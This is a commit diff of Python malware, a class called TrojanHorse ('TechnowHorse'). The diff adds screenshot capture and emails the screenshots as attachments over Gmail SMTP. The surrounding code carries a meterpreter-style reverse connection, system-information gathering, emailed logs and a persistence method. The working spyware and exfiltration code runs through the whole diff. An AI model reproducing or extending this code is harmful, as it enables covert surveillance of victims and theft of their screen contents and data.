2
2
3
3
import socket , struct , time #Part of meterpreter Payload
4
4
import smtplib #Reporting the TrojanHorse Started Message via Email
5
+ #==============================================================
6
+ # 4,8 to 11 lines for "send_mail_with_attachment()" function
7
+ #==============================================================
8
+ from email .mime .text import MIMEText
9
+ from email .mime .multipart import MIMEMultipart
10
+ from email .mime .application import MIMEApplication
11
+ from os .path import basename
12
+ #==============================================================
13
+ from mss import mss #To Capture Screenshot
14
+ import tempfile #To Return cross platform temp directory; Used in "take_screenshot()" function
5
15
import os
6
16
import shutil
7
17
import subprocess
@@ -15,6 +25,7 @@ class TrojanHorse:
15
25
def __init__ (self , email , password , ip , port ):
16
26
self .log = ""
17
27
self .email = email
28
+ self .temp_screenshot = tempfile .gettempdir () + "\\ screenshot.png"
18
29
self .password = password
19
30
self .ip = ip
20
31
self .port = port
@@ -44,12 +55,24 @@ def get_system_info(self):
44
55
user = getpass .getuser ()
45
56
return "Operating System:\t " + os + "\n Computer Name:\t \t " + computer_name + "\n User:\t \t \t \t " + user
46
57
58
+ def take_screenshot (self ):
59
+ try :
60
+ os .remove ('screenshot.png' )
61
+ except Exception as e :
62
+ pass
63
+ temp_dir = tempfile .gettempdir ()
64
+ os .chdir (temp_dir )
65
+ with mss () as screenshot :
66
+ screenshot .shot (output = "screenshot.png" )
67
+
47
68
def start (self ):
48
69
if self .log == "" :
49
70
pass
50
71
else :
51
72
try :
52
73
self .send_mail (self .log )
74
+ self .take_screenshot ()
75
+ self .send_mail_with_attachment (files = [self .temp_screenshot ])
53
76
except Exception as e :
54
77
print (f"Error: { e } " )
55
78
time .sleep (10 )
@@ -74,12 +97,34 @@ def connect(self, ip, port):
74
97
self .connect (self .ip , self .port )
75
98
76
99
def send_mail (self , message ):
77
- message = "Subject: TechnowHorse Report \n \n " + "Report From:\n \n " + self .system_info + "\n \n Logs:\n " + message
100
+ message = "Subject: TechnowHorse Reporting \n \n " + "Report From:\n \n " + self .system_info + "\n \n Logs:\n " + message
78
101
server = smtplib .SMTP ("smtp.gmail.com" , 587 )
79
102
server .starttls ()
80
103
server .login (self .email , self .password )
81
104
server .sendmail (self .email , self .email , message )
82
105
server .quit ()
106
+
107
+ def send_mail_with_attachment (self , files = None ):
108
+ msg = MIMEMultipart ()
109
+ msg ['From' ] = self .email
110
+ msg ['To' ] = self .email
111
+ msg ['Subject' ] = "TechnowHorse Reporting With Attachments"
112
+ text = "\n Report From:\n \n " + self .system_info
113
+ msg .attach (MIMEText (text ))
114
+
115
+ for f in files or []:
116
+ with open (f , "rb" ) as fil :
117
+ ext = f .split ('.' )[- 1 :]
118
+ attachedfile = MIMEApplication (fil .read (), _subtype = ext )
119
+ attachedfile .add_header (
120
+ 'content-disposition' , 'attachment' , filename = basename (f ) )
121
+ msg .attach (attachedfile )
122
+
123
+ smtp = smtplib .SMTP (host = "smtp.gmail.com" , port = 587 )
124
+ smtp .starttls ()
125
+ smtp .login (self .email , self .password )
126
+ smtp .sendmail (self .email , self .email , msg .as_string ())
127
+ smtp .close ()
83
128
84
129
def become_persistent (self ):
85
130
if sys .platform .startswith ("win" ):
0 commit comments